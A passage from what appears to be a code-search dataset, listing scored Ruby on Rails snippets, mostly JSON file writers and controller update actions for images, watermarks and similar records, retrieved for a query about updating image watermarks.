"docid": "0533ca29aed1e0f11aeee5ea09aba281",
"score": "0.5833669",
"text": "def serialize\n IO.write(json_filename, data.to_json)\n end",
"title": ""
},
{
"docid": "d2436b375d05ab65b93044bb25fe3ad1",
"score": "0.5822119",
"text": "def save_as_json(hash)\n my_json = JSON.generate(hash)\n file = File.open(\"./db/emails.JSON\", \"w\")\n file.puts(my_json)\n file.close\n end",
"title": ""
},
{
"docid": "007d02346c1343cc0437460f0c600094",
"score": "0.5820121",
"text": "def save()\n File.open(@@filePath, \"w\") do |fileHandle|\n fileHandle.write(JSON.pretty_generate(@@parameters))\n end\n end",
"title": ""
},
{
"docid": "0a0d28cfbee63e871b257502e10bcde5",
"score": "0.58187586",
"text": "def save_as_JSON(monsters)\n File.open(\"db/#{@key}.json\",\"w\") do |f|\n f.write(monsters.to_json)\n end\n end",
"title": ""
},
{
"docid": "da5a7a218af5e34c5a4172950a1f78f3",
"score": "0.5818368",
"text": "def to_file\n to_json\n end",
"title": ""
},
{
"docid": "65092f84ee60b831f57168a9b0d4fbc6",
"score": "0.5816152",
"text": "def save!\n File.open(@filename, 'w') do |file|\n file.write self.to_json\n end\n puts \"Match #{id} saved in #{@filename}\"\n end",
"title": ""
},
{
"docid": "02a9fd75aa338664068252697601db19",
"score": "0.58157617",
"text": "def save_translations \n\n @translations.each do |locale,fields|\n fields.each do |field,tx|\n if tx.content.nil?\n tx.delete\n @translations[locale.to_sym][field.to_sym] = nil\n else\n tx.save\n end\n end\n end\n \n end",
"title": ""
},
{
"docid": "241b1b47ec04ffbf0d5d1dc20feaeb4f",
"score": "0.5789385",
"text": "def save_as_json(filename)\n File.open(filename, \"w\") do |file|\n file.write(to_json)\n end\n\n self\n end",
"title": ""
},
{
"docid": "b6c06f1d83edb2c44151ae1ab37005d4",
"score": "0.57889396",
"text": "def write_cart( cart )\n\n # Open file contacts.json \"w\" is definining that its writable\n File.open( \"cart.json\", \"w\" ) do |f|\n\n json = JSON.pretty_generate( cart )\n f.write( json )\n end\nend",
"title": ""
},
{
"docid": "8a3c53590c1ecb247b4f31fa62f4e764",
"score": "0.5780929",
"text": "def json_to_yaml_file(json, file_name)\n if Rails.env.development?\n prefix = '#Fixture created on ' + Time.now.strftime('%F %H:%M:%S') + \"\\n\"\n File.write(\"#{TMP_FILE_PREFIX}#{file_name}\" + YML_EXT, prefix + json.to_yaml)\n $log.trace(\"Writing yaml file #{TMP_FILE_PREFIX}#{file_name}.yml.\")\n else\n $log.trace(\"Not writing yaml file #{TMP_FILE_PREFIX}#{file_name}.yml. Rails.env = #{Rails.env}\")\n end\n\n end",
"title": ""
},
{
"docid": "334b9a51d0c4e99781f704e2c5d3689b",
"score": "0.57762885",
"text": "def json_to_yaml_file(json, file_name)\n if Rails.env.development?\n prefix = '#Fixture created on ' + Time.now.strftime('%F %H:%M:%S') + \"\\n\"\n File.write(\"#{TMP_FILE_PREFIX}#{file_name}\" + YML_EXT, prefix + json.to_yaml)\n #$log.trace(\"Writing yaml file #{TMP_FILE_PREFIX}#{file_name}.yml.\")\n else\n #$log.trace(\"Not writing yaml file #{TMP_FILE_PREFIX}#{file_name}.yml. Rails.env = #{Rails.env}\")\n end\n\n end",
"title": ""
},
{
"docid": "92d2afeffd2f9e352fe386cd9d8d1888",
"score": "0.5759598",
"text": "def save\n quotes_file = open_file\n new_quote = { :quote_text => @quote_text, :date_added => @date_added }\n quotes_file[:quotes] << new_quote\n File.open(file_name, 'w') do |file|\n file.write YAML.dump quotes_file\n end\n end",
"title": ""
}
] |
46abd641cc16d93ff4c2431b50770b89
|
PATCH/PUT /image_watermarks/1 PATCH/PUT /image_watermarks/1.json
|
[
{
"docid": "0a362d2411b6b932035afba6c461f51f",
"score": "0.6213466",
"text": "def update\n respond_to do |format|\n begin\n flash[:success] = 'Image optimized.'\n @image_watermark.update(image_watermark_params)\n @image_watermark.make_watermark\n @image_watermark.save\n format.html { redirect_to admin_image_preview_url(@image_watermark.image) }\n rescue Exception => e\n flash[:danger] = \"Oops! Something went wrong: #{e.message}\"\n format.html { render :edit }\n end\n end\n\n end",
"title": ""
}
] |
[
{
"docid": "099dd8af0cd3b35377351bdc78683360",
"score": "0.652601",
"text": "def update\n if water_location.update(water_location_params)\n image_url = get_image_url\n render json: water_location, get_image_url: image_url\n else\n render json: water_location.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3d8edd7c9fa5f0fef74bc84f5d59823e",
"score": "0.6388853",
"text": "def update\n respond_to do |format|\n if @water_mark.update(water_mark_params)\n format.html { redirect_to @water_mark, notice: 'Water mark was successfully updated.' }\n format.json { render :show, status: :ok, location: @water_mark }\n else\n format.html { render :edit }\n format.json { render json: @water_mark.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8cef3a996ee5942d102e93b3d09d42b",
"score": "0.63341475",
"text": "def update_image\n image = Image.find(params[:id])\n image.update_attributes(params[:image])\n render :json => image.attributes.merge(additional_image_attributes(image))\n end",
"title": ""
},
{
"docid": "39440dfbd299386468cc7fd6e98f155d",
"score": "0.63001174",
"text": "def update\n @default_bike_image = DefaultBikeImage.find(params[:id])\n\n if @default_bike_image.update(default_bike_image_params)\n audit(@default_bike_image, current_user)\n head :no_content\n else\n render json: @default_bike_image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f24ff76378e6b93d38af050dc17b1531",
"score": "0.6233279",
"text": "def update\n respond_to do |format|\n begin\n if @watermark.update(watermark_params)\n flash[:success] = 'Watermark was successfully updated.'\n format.html { redirect_to admin_watermark_url(@watermark) }\n format.json { render :show, status: :ok, location: @watermark }\n else\n format.html { render :edit }\n format.json { render json: @watermark.errors, status: :unprocessable_entity }\n end\n rescue Exception => e\n flash[:danger] = \"Oops! Something went wrong: #{e.message}\"\n format.html { render :edit }\n end\n end\n end",
"title": ""
},
{
"docid": "1672475d7ba8467055df2694ed66ed78",
"score": "0.6213065",
"text": "def update\n render json: Image.update(params[\"id\"], params[\"image\"])\n end",
"title": ""
},
{
"docid": "bfab9ede8aa095c2c364de1cab217b0e",
"score": "0.6122986",
"text": "def update\n\t\tset_object(params[:id], params[:image], params[:features])\n\tend",
"title": ""
},
{
"docid": "b1cfe4a6e19dd9d6083f3f1bf9c024f0",
"score": "0.60618144",
"text": "def update\n @tip_image = TipImage.find(params[:id])\n\n if @tip_image.update(tip_image_params)\n head :no_content\n else\n render json: @tip_image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "17d27d3245b6146efd6c1cf5c536d68f",
"score": "0.6057213",
"text": "def update\n respond_to do |format|\n if @image_annotation.update(image_annotation_params)\n format.html { redirect_to @image_annotation, notice: 'Image annotation was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_annotation }\n else\n format.html { render :edit }\n format.json { render json: @image_annotation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0924f2d045fa84149d3348349029e877",
"score": "0.6044586",
"text": "def update_image\n data = JSON.parse(params[:image]) \n image = Image.find(data[\"id\"])\n image.official_site_image = data[\"official_site_image\"].to_bool\n image.save\n render json: {success:true}.as_json\n end",
"title": ""
},
{
"docid": "33ebb16c235a38c5f9d71b1eed3c62e2",
"score": "0.60307837",
"text": "def update\n authorize! :update, @water_fountain\n respond_to do |format|\n if @water_fountain.update(water_fountain_params)\n format.json { head :no_content }\n else\n format.json { render json: { error: @water_fountain.errors.full_messages }, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7cfdf4407920f86019439723e383b091",
"score": "0.59793246",
"text": "def water_mark_params\n params.require(:water_mark).permit(:watermark_image)\n end",
"title": ""
},
{
"docid": "94fc5bd9e63d192705b7bbaf6e3f87b2",
"score": "0.5945014",
"text": "def update\n respond_to do |format|\n if @bing_image.update(bing_image_params)\n format.html { redirect_to @bing_image, notice: 'Bing image was successfully updated.' }\n format.json { render :show, status: :ok, location: @bing_image }\n else\n format.html { render :edit }\n format.json { render json: @bing_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d2f8e7d2d156b0f33d3f05cb14474fe",
"score": "0.58982533",
"text": "def update\n authorize @thing, :update_image?\n if @thing_image.update(thing_image_update_params)\n head :no_content\n else\n render json: @thing_image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "731eb08aaf840cf436ecaa709861d094",
"score": "0.58612096",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to animal_image_path, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f8879efde4b29dcc04d09586876df51",
"score": "0.58422244",
"text": "def update\n if params[:file].present?\n if @animal.update(update_params.merge({image: params[:file]}))\n head :no_content\n else\n render json: @animal.errors, status: :unprocessable_entity\n end\n else\n if @animal.update(update_params)\n head :no_content\n else\n render json: @animal.errors, status: :unprocessable_entity\n end\n end\n end",
"title": ""
},
{
"docid": "08928a8dcb9d3bc993fd21219d4e79a0",
"score": "0.5840946",
"text": "def update\n respond_to do |format|\n # spot = HTTParty.get(\"http://localhost:3000/spots/#{params[:id]}\" )\n if @spot.update(spot_params)\n HTTParty.patch(\"http://localhost:3000/spots/#{params[:id]}?name=#{spot_params[:name]}&lat=#{spot_params[:lat]}&lon=#{spot_params[:lon]}&description=#{spot_params[:description]}&features=#{spot_params[:features]}&spot_type=#{spot_params[:spot_type]}&img=#{spot_params[:img]}\")\n @spot.spot_photos.attach(params[:spot][:spot_photos])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "309843608cd5b5fecd2ae9de0fb15803",
"score": "0.5815812",
"text": "def update\n respond_to do |format|\n if @image.update_attributes(image_params)\n format.html do\n redirect_to [@location,@image], notice: 'Image was successfully updated.'\n end\n # format.json { head :no_content }\n format.json do\n render json: { files: [@image.to_jq_upload] },\n status: :created, location: @image\n end\n else\n format.html { render action: 'edit' }\n format.json do\n render json: @image.errors,\n status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "37da29da7c67a922e758f52a711259db",
"score": "0.5811857",
"text": "def update\n respond_to do |format|\n if @bicycle.update(bike_params)\n format.html { redirect_to [@bicycle], notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bicycle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "72e604b517f35686fe549c2584f82ee4",
"score": "0.5810514",
"text": "def update\n @alkohol.image = Pathname.new(\"app/assets/images/#{params[:alkohol][:bottle_type]}.jpg\")\n respond_to do |format|\n if @alkohol.update(alkohol_params)\n format.html { redirect_to @alkohol.event, notice: 'Alkohol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @alkohol.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5181aa7ad9ea82f0fddabfb0ba53433",
"score": "0.5801283",
"text": "def set_water_mark\n @water_mark = WaterMark.find(params[:id])\n end",
"title": ""
},
{
"docid": "b0058edc2686eb8b4863bddfd2b1c966",
"score": "0.57883394",
"text": "def update_watermarks\n logger.debug \"$$$$$$$$$$$$$$$$$ update watermarks\"\n logger.debug \"@@@@@@@@@@@ new source = #{self.new_source}; orig add = #{self.orig_add_watermark}; add = #{self.add_watermark}\"\n if self.new_source || self.orig_add_watermark != self.add_watermark\n logger.debug \"@@@@@@@@@@@@@@@@@@@@@@ REPROCESS!\"\n self.new_source = false\n self.orig_add_watermark = self.add_watermark\n self.file.reprocess!\n end\n end",
"title": ""
},
{
"docid": "c8525e335c7d6205dcae35a16bd4352f",
"score": "0.5771152",
"text": "def update\n @image = Image.find(params[:id])\n\n if @image.update(tl_params)\n head :no_content\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "b83fcaca1b2ac9318ef9658c0dce4c96",
"score": "0.5764931",
"text": "def update!(**args)\n @annotation_colors = args[:annotation_colors] if args.key?(:annotation_colors)\n @image_bytes = args[:image_bytes] if args.key?(:image_bytes)\n @mime_type = args[:mime_type] if args.key?(:mime_type)\n end",
"title": ""
},
{
"docid": "00098827500dc16b5b6dac605773e36d",
"score": "0.5758425",
"text": "def update\n respond_to do |format|\n update = beer_params\n if beer_params[:image] != nil\n image_magick = Magick::Image.from_blob(beer_params[:image].read).shift\n image_magick = image_magick.auto_orient\n image_magick = image_magick.resize_to_fit(1000, 1000)\n image_magick.strip!\n update[:image] = image_magick.to_blob\n image_magick = image_magick.resize_to_fit(120, 120)\n update[:thumb] = image_magick.to_blob\n end\n\n if @beer.update(update)\n format.html { redirect_to @beer, notice: 'Beer was successfully updated.' }\n format.json { render :show, status: :ok, location: @beer }\n else\n format.html { render :edit }\n format.json { render json: @beer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab276ff0c80527958470031ea2612d82",
"score": "0.57383066",
"text": "def update\n respond_to do |format|\n if @water.update(water_params)\n format.html { redirect_to @water, notice: 'Water was successfully updated.' }\n format.json { render :show, status: :ok, location: @water }\n else\n format.html { render :edit }\n format.json { render json: @water.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab276ff0c80527958470031ea2612d82",
"score": "0.57383066",
"text": "def update\n respond_to do |format|\n if @water.update(water_params)\n format.html { redirect_to @water, notice: 'Water was successfully updated.' }\n format.json { render :show, status: :ok, location: @water }\n else\n format.html { render :edit }\n format.json { render json: @water.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2216b005ac6ce7ecddea38d65983778",
"score": "0.57270366",
"text": "def update\n respond_to do |format|\n if @pin_image.update(pin_image_params)\n format.html { redirect_to @pin_image, notice: 'Pin image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pin_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64f3d28e0b46b7ecb158533f95a5d6de",
"score": "0.57169664",
"text": "def update\n @image = Image.find(params[:id])\n @image.tag_list = params[:tag_list]\n\n\n respond_to do |format|\n if @image.save\n format.html { render json: @image.to_json(:include => :tags) }\n # format.html { redirect_to \"/images##{@image.id}\" }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94b1eb02dc21fe2e107324a1f3ba60b1",
"score": "0.5713",
"text": "def update\n #@annotation is a variable containing an instance of the \"annotation.rb\" model with attributes updated with data passed in the params of the \"edit.html.slim\" form submit action. \n error = \"\"\n Annotation.transaction do\n begin\n\n @annotation = Annotation.find(params[:id])\n meta = params[:annotation][:meta]\n\n @annotation.update(x_tl: meta[:x_tl], y_tl: meta[:y_tl], width: meta[:width], height: meta[:height])\n rescue => e \n error = e.message\n end\n end\n\n\n if @annotation && @annotation.x_tl\n render json: @annotation.to_json, status: :created\n else\n render json: (@annotation ? @annotation.errors : error), status: :bad_request \n end\n end",
"title": ""
},
{
"docid": "2ea2c21ba7b9cef9f9d741710b852191",
"score": "0.5710301",
"text": "def update\r\n @waterbottle = Waterbottle.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @waterbottle.update_attributes(params[:waterbottle])\r\n format.html { redirect_to @waterbottle, notice: 'Waterbottle was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @waterbottle.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "c54213cc453144bed19a6bd262918680",
"score": "0.5710202",
"text": "def update\n respond_to do |format|\n if @recycling_way_image.update(recycling_way_image_params)\n format.html { redirect_to @recycling_way_image, notice: 'Recycling way image was successfully updated.' }\n format.json { render :show, status: :ok, location: @recycling_way_image }\n else\n format.html { render :edit }\n format.json { render json: @recycling_way_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4948bc4120223bb4b864e92980bc1314",
"score": "0.5697156",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @recipe, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc6a809e9a01b5af9f1d1936c82bd367",
"score": "0.5695985",
"text": "def cells_workbook_put_workbook_water_marker_with_http_info(name, opts = {})\n warn \"Warning: #cells_workbook_put_workbook_water_marker_with_http_info() is deprecated.\"\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CellsApi.cells_workbook_put_workbook_water_marker ...\"\n end\n @api_client.request_token_if_needed\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling CellsApi.cells_workbook_put_workbook_water_marker\"\n end\n # resource path\n local_var_path = \"/cells/{name}/watermarker\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n query_params[:'storageName'] = opts[:'storage_name'] if !opts[:'storage_name'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'text_water_marker_request'])\n #auth_names = []\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CellsCloudResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CellsApi#cells_workbook_put_workbook_water_marker\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2735076b01d276fec7ab68b4a7bd62bd",
"score": "0.5693329",
"text": "def update\n @landing_image = LandingImage.find(params[:id])\n\n if @landing_image.update(landing_image_params)\n head :no_content\n else\n render json: @landing_image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a401d4c9a0ee41c2dc078f594245d3a8",
"score": "0.5689734",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.json { render action: 'show', status: :ok, location: @image }\n else\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dab77f981796eef6ace3f13c562d819c",
"score": "0.5675108",
"text": "def update\n respond_to do |format|\n if @barber_image.update(barber_image_params)\n format.html { redirect_to @barber_image, notice: 'Barber image was successfully updated.' }\n format.json { render :show, status: :ok, location: @barber_image }\n else\n format.html { render :edit }\n format.json { render json: @barber_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3efedbbc6eb2dd5d83407877a84b755",
"score": "0.56538504",
"text": "def patchphoto_params\n params.require(:patchphoto).permit(:parking_id, :image)\n end",
"title": ""
},
{
"docid": "fc5092a0cd72e5911d20699e0ceb9b91",
"score": "0.5651718",
"text": "def update\n\[email protected](image_params)\n\n \n\n filter = Filter.find(params[:filter][:id])\n image = Image.find(params[:id])\n \n \n img = MiniMagick::Image.new(@image.photo.path)\n # Applies the filters.\n if filter.blur != nil\n img = img.blur_image(filter.blur)\n end\n if filter.blue_shift != nil\n img = img.blue_shift(filter.blue_shift)\n end\n if filter.charcoal != nil\n img = img.charcoal(0,filter.charcoal)\n end\n\n\n \n respond_with(@image)\n end",
"title": ""
},
{
"docid": "63c26393e40d682b7e2cd73fa3241702",
"score": "0.56498575",
"text": "def update\n @kits = Kit.all\n p 'editizle'\n respond_to do |format|\n if @kit.update(kit_params)\n format.html { redirect_to @kit, notice: 'Kit was successfully updated.' }\n format.json { \n render json: @kits.map { |kit|\n kit.as_json.merge({ image: url_for(kit.cover_art)})\n }\n }\n else\n format.html { render :edit }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c9d5a792890dc8e436feb8585fd29df",
"score": "0.5643834",
"text": "def update\n @breed = nil\n @breed = if animal_params[:animal_type] == \"1\"\n Breed.where(id: params[:dog_breed_id]).first\n else\n Breed.where(id: params[:cat_breed_id]).first\n end\n @animal.breed = @breed\n new_params = animal_params\n new_params[:breed_id] = @breed.id\n respond_to do |format|\n if @animal.update(new_params)\n if params[:animal_images]\n params[:animal_images][:image].each do |img|\n @animal_image = @animal.animal_images.create(image: img)\n end\n end\n format.html { redirect_to show_animal_employees_path(@animal), notice: \"Animal was successfully updated.\" }\n format.json { render :show, status: :ok, location: @animal }\n else\n format.html { render :edit }\n format.json { render json: @animal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2d7400fdc2a64a1e9fad443e862d0351",
"score": "0.5643711",
"text": "def update\n @my_bike = MyBike.find(params[:id])\n \n if @my_bike.update(my_bike_params)\n render json: @my_bike\n #head :no_content\n else\n render json: @my_bike.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ea8463a810ccd35bc7e1069e84a8fdda",
"score": "0.5635765",
"text": "def update\n @location = image_params[:location]\n\n respond_to do |format|\n if @location\n format.js { render :new_tag }\n elsif @image.update(image_params)\n @image.location_list = image_params[:location_list]\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n\n # @image.asset = asset unless @image.asset != nil\n end",
"title": ""
},
{
"docid": "d36ab3559c7296317c3dc91b79ef7b57",
"score": "0.5632741",
"text": "def update\n respond_to do |format|\n if @myimage.update(myimage_params)\n format.html { redirect_to @myimage, notice: 'Myimage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @myimage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc5000e2ba5b4ba9f28ab408b9cfa729",
"score": "0.5622086",
"text": "def create\n @water_mark = WaterMark.new(water_mark_params)\n @photo = Photo.new\n respond_to do |format|\n if @water_mark.save\n format.html { redirect_to new_photo_path, notice: 'Water mark was successfully created.' }\n format.json { render :show, status: :created, location: new_photo_path }\n else\n format.html { render :new }\n format.json { render json: @water_mark.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d74ce16bbfc195eba7c04e83d46228b",
"score": "0.56180465",
"text": "def update\n authorize! :update, @wallpaper\n\n respond_to do |format|\n if @wallpaper.update(update_wallpaper_params.except(:tag_ids))\n @wallpaper.update_tag_ids_by_user(update_wallpaper_params[:tag_ids], current_user)\n format.html { redirect_to @wallpaper, notice: 'Wallpaper was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wallpaper.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b0438400f751cab486b51c93d9ae81",
"score": "0.5612164",
"text": "def update\n par = params\n\n @image = Image.editable_by(current_user).find_by_guid(params[:guid])\n\n # set these variables back to nil if they were in the request but blank\n if par[:ref]\n @image.ref = par[:ref].blank? ? nil : par[:ref]\n end\n if par[:name]\n @image.name = par[:name].blank? ? nil : par[:name]\n end\n if par[:page_url]\n @image.page_url = par[:page_url].blank? ? nil : par[:page_url]\n end\n @image.private = par[:private] if par[:private]\n\n if !par[:calibrateLength].blank?\n @image.calibrate_length = par[:calibrateLength].to_f\n @image.calibrate_unit = par[:calibrateUnit].to_i if !par[:calibrateUnit].blank?\n @image.calibrate_coords = par[:calibrateCoords] if !par[:calibrateCoords].blank?\n @image.ppi = calculate_ppi(@image)\n end\n\n orig_url = par[:originalUrl]\n if !orig_url.blank? && orig_url != @image.original_url\n # url was updated\n @image.remote_upload_url = orig_url\n @image.original_url = orig_url\n end\n\n if @image.save\n render :json => @image.js_serialize\n else\n #TODO: handle error\n render :json => { :error => 500 }, :status => 500\n end\n end",
"title": ""
},
{
"docid": "c581064231d07f1842304a980e40463d",
"score": "0.5596699",
"text": "def update\n respond_to do |format|\n if @api_monkey.update(api_monkey_params)\n # format.html { redirect_to @api_monkey, notice: 'Api monkey was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_monkey }\n else\n # format.html { render :edit }\n format.json { render json: @api_monkey.errors, status: :unprocessable_entity }\n end\n\n end\n\n # DELETE /api_monkeys/1\n # DELETE /api_monkeys/1.json\n def destroy\n @api_monkey.destroy\n respond_to do |format|\n format.html { redirect_to api_monkeys_url, notice: 'Api monkey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n private\n # Use callbacks to share common setup or constraints between actions.\n def set_api_monkey\n @api_monkey = ApiMonkey.find(params[:id])\n end\n\n # Never trust parameters from the scary internet, only allow the white list through.\n def api_monkey_params\n params.permit(:name, :height, :weight, :locations_of_origin,\n :diet, :description, :social_order, :lifespan, :seeded?, :image1, :image2,\n :genus, :sub_family)\n end\nend",
"title": ""
},
{
"docid": "50b96b92350bf9aded8a62cfb79a8619",
"score": "0.559429",
"text": "def update\n @annotation = Annotation.find(params[:id])\n\n if @annotation.update(annotation_params)\n head :no_content\n else\n render json: @annotation.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "be9c7a658533eac344b814729f71dcce",
"score": "0.5594265",
"text": "def update\n respond_to do |format|\n if @luxire_style_master_image.update(luxire_style_master_image_params)\n format.html { redirect_to @luxire_style_master_image, notice: 'Luxire style master image was successfully updated.' }\n format.json { render :show, status: :ok, location: @luxire_style_master_image }\n else\n format.html { render :edit }\n format.json { render json: @luxire_style_master_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "554e78cf3a357961c9f305a8e588ba10",
"score": "0.55720824",
"text": "def update\n respond_to do |format|\n add_more_images([student_params[:imagefile]])\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.json { render json: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', status: 400 }\n end\n end\n end",
"title": ""
},
{
"docid": "206f613eb88ddd40efb23b504bd74b55",
"score": "0.5567144",
"text": "def update\n file = params[:sake][:image]\n @sake.set_image(file)\n respond_to do |format|\n if @sake.update(sake_params)\n format.html { redirect_to @sake, notice: '情報を編集しました' }\n format.json { render :show, status: :ok, location: @sake }\n else\n format.html { render :edit }\n format.json { render json: @sake.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "87b80f4a07d8976177263e04df8cdb37",
"score": "0.5558305",
"text": "def update\n\n\n @advert_image = AdvertImage.find(params[:id])\n # binding.pry\n if params[:image].present?\n @advert_image.image = params[:image]\n @advert_image.save\n end\n\n render :json => @advert_image, :status => 201\n end",
"title": ""
},
{
"docid": "779b30b55b94f161cfe6678e516b8859",
"score": "0.5549554",
"text": "def update\n @plant.name = Planter.find(params[:planter_id]).name\n if params[:plant][:remove_image] == \"1\"\n @plant.image = nil\n @plant.save\n end\n respond_to do |format|\n if @plant.update(plant_params)\n format.html { redirect_to @plant, :notice => t('alerts.plants.update') }\n format.json { render :show, status: :ok, location: @plant }\n else\n format.html { render :edit }\n format.json { render json: @plant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4fdcf56e7d23eeb7b7fa239c8faf669",
"score": "0.55458397",
"text": "def update\n @location_map_point_img = LocationMapPointImg.find(params[:id])\n\n respond_to do |format|\n if @location_map_point_img.update_attributes(params[:location_map_point_img])\n format.html { redirect_to @location_map_point_img, notice: 'Location map point img was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location_map_point_img.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eb77f8e2e0fac03887a44cf9e2aab36f",
"score": "0.5536605",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params.require(:image).permit(:title, :description, :portfolio_id, :image))\n format.html { redirect_to @image, notice: 'Upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f91fab4903066b540c7534e0e5c2d9ed",
"score": "0.553351",
"text": "def update\n respond_to do |format|\n if @my_image.update(my_image_params)\n format.html { redirect_to @my_image, notice: 'My image was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_image }\n else\n format.html { render :edit }\n format.json { render json: @my_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "213133730a225eee8a9f6a47731e7445",
"score": "0.5530693",
"text": "def update\n @my_bike = MyBike.find(params[:id])\n \n if @my_bike.update(my_bike_params)\n render json: @my_bike, status: :ok\n else\n render json: @my_bike.errors, status: :unprocessable_entity\n end\nend",
"title": ""
},
{
"docid": "b3cac33deccc7b5be5bd91b03e572c42",
"score": "0.5530424",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render json: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6dd5785920e2e85122c4c62c1b2ac4f1",
"score": "0.55304223",
